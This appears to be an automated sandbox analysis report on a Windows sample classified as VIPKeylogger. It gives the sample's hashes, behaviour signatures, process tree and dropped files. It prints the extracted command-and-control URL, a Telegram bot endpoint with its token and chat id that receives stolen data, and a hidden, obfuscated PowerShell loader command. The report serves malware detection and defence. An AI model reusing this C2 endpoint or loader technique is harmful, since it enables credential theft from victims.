Analysis

  • max time kernel
    599s
  • max time network
    438s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 07:00

General

  • Target

    Untangibility90.exe

  • Size

    1.1MB

  • MD5

    343b6d84d887fc6f42e259c22ddce824

  • SHA1

    e7423cd8620ecb4dee9e1781386c1d0273bcd373

  • SHA256

    dd5ae442b593e4611d93ddcf5606f20ea4686a9d63b46f546a7f86bd1785d41b

  • SHA512

    1b697bd0446b44c05fc2cea0ea073476486c8f754797c714a6dc4578267dcc8a23243c0c65b9a7cd603a0b3bbf4cd5c995aae75cddd9759f69cb3d28e9785852

  • SSDEEP

    24576:ONrNYo3K+3fC/j6U3VwV5k7j5awX300zQUGtZV:e+L463VwXgj5aEkHUGtZV

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7668974942:AAFyrHvXMv2uhMX9l0hNEPNVnFxCDfLErLs/sendMessage?chat_id=7295320361

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe
    "C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4680
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:1496

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o42km3hz.ygd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224

    Filesize

    74KB

    MD5

    4208643fc8d9783f1b2e17ca3deeee0f

    SHA1

    2ad1b4267f8474a46d6db4b3730a8d0d3ba61ff6

    SHA256

    ef1f9e0ba387a0c17b6df3d877f4d11210795a511cb8b4c402a3ede617a3c14f

    SHA512

    455e00b2c8810a1fd600c983b13f8207e4d3c7325cea185717f493cc59b4df2285b745cd9b48ed05bce1a8f15474c77aacc70fdc70ef04f485e084d9818431c5

  • C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Suberised111.Med

    Filesize

    339KB

    MD5

    002c9ad83d194cb8cb694abff1c3d622

    SHA1

    8da382e12583ce84ee86d8ab07aaae37881379e0

    SHA256

    9f8ba35b79484641d11e46016e90301419c59300b30c7adf0556eae34e29c63c

    SHA512

    50c5465801e77eabb14b39a9cf101d45d23598b9a76d4253ab6ffa0e660bf16c75b5f26402092fa6ea0ff7504165b8f1ce6b26063c5381ab2e890ea3d4645845

  • C:\Users\Admin\AppData\Local\Temp\nsxB19E.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/1496-73-0x0000000001E50000-0x0000000002820000-memory.dmp

    Filesize

    9.8MB

  • memory/1496-87-0x0000000000BF0000-0x0000000000C3A000-memory.dmp

    Filesize

    296KB

  • memory/1496-96-0x0000000020C50000-0x0000000020CE2000-memory.dmp

    Filesize

    584KB

  • memory/1496-97-0x000000001E110000-0x000000001E11A000-memory.dmp

    Filesize

    40KB

  • memory/1496-93-0x00000000219E0000-0x0000000021F0C000-memory.dmp

    Filesize

    5.2MB

  • memory/1496-92-0x0000000020B00000-0x0000000020B50000-memory.dmp

    Filesize

    320KB

  • memory/1496-91-0x00000000212E0000-0x00000000214A2000-memory.dmp

    Filesize

    1.8MB

  • memory/1496-90-0x0000000001E50000-0x0000000002820000-memory.dmp

    Filesize

    9.8MB

  • memory/1496-86-0x0000000000BF0000-0x0000000001E44000-memory.dmp

    Filesize

    18.3MB

  • memory/1496-88-0x0000000020620000-0x00000000206BC000-memory.dmp

    Filesize

    624KB

  • memory/4680-53-0x0000000007800000-0x00000000078A3000-memory.dmp

    Filesize

    652KB

  • memory/4680-60-0x00000000079A0000-0x00000000079A8000-memory.dmp

    Filesize

    32KB

  • memory/4680-31-0x0000000007320000-0x00000000073B6000-memory.dmp

    Filesize

    600KB

  • memory/4680-32-0x00000000068A0000-0x00000000068BA000-memory.dmp

    Filesize

    104KB

  • memory/4680-33-0x00000000068F0000-0x0000000006912000-memory.dmp

    Filesize

    136KB

  • memory/4680-34-0x00000000079E0000-0x0000000007F84000-memory.dmp

    Filesize

    5.6MB

  • memory/4680-38-0x0000000008610000-0x0000000008C8A000-memory.dmp

    Filesize

    6.5MB

  • memory/4680-40-0x000000006F830000-0x000000006F87C000-memory.dmp

    Filesize

    304KB

  • memory/4680-41-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-51-0x00000000077D0000-0x00000000077EE000-memory.dmp

    Filesize

    120KB

  • memory/4680-39-0x0000000007790000-0x00000000077C2000-memory.dmp

    Filesize

    200KB

  • memory/4680-52-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-29-0x00000000063A0000-0x00000000063BE000-memory.dmp

    Filesize

    120KB

  • memory/4680-54-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-55-0x0000000007900000-0x000000000790A000-memory.dmp

    Filesize

    40KB

  • memory/4680-56-0x0000000007920000-0x0000000007931000-memory.dmp

    Filesize

    68KB

  • memory/4680-57-0x0000000007960000-0x000000000796E000-memory.dmp

    Filesize

    56KB

  • memory/4680-58-0x0000000007970000-0x0000000007984000-memory.dmp

    Filesize

    80KB

  • memory/4680-59-0x00000000080D0000-0x00000000080EA000-memory.dmp

    Filesize

    104KB

  • memory/4680-30-0x0000000006430000-0x000000000647C000-memory.dmp

    Filesize

    304KB

  • memory/4680-61-0x0000000008130000-0x000000000815A000-memory.dmp

    Filesize

    168KB

  • memory/4680-62-0x0000000008160000-0x0000000008184000-memory.dmp

    Filesize

    144KB

  • memory/4680-63-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-64-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-66-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-67-0x0000000008C90000-0x0000000009660000-memory.dmp

    Filesize

    9.8MB

  • memory/4680-68-0x00000000733AE000-0x00000000733AF000-memory.dmp

    Filesize

    4KB

  • memory/4680-69-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-70-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-28-0x0000000005DF0000-0x0000000006144000-memory.dmp

    Filesize

    3.3MB

  • memory/4680-17-0x0000000005580000-0x00000000055E6000-memory.dmp

    Filesize

    408KB

  • memory/4680-18-0x0000000005D80000-0x0000000005DE6000-memory.dmp

    Filesize

    408KB

  • memory/4680-16-0x00000000053E0000-0x0000000005402000-memory.dmp

    Filesize

    136KB

  • memory/4680-15-0x0000000005660000-0x0000000005C88000-memory.dmp

    Filesize

    6.2MB

  • memory/4680-14-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-13-0x0000000002A60000-0x0000000002A96000-memory.dmp

    Filesize

    216KB

  • memory/4680-12-0x00000000733AE000-0x00000000733AF000-memory.dmp

    Filesize

    4KB

  • memory/4680-71-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB

  • memory/4680-72-0x00000000733A0000-0x0000000073B50000-memory.dmp

    Filesize

    7.7MB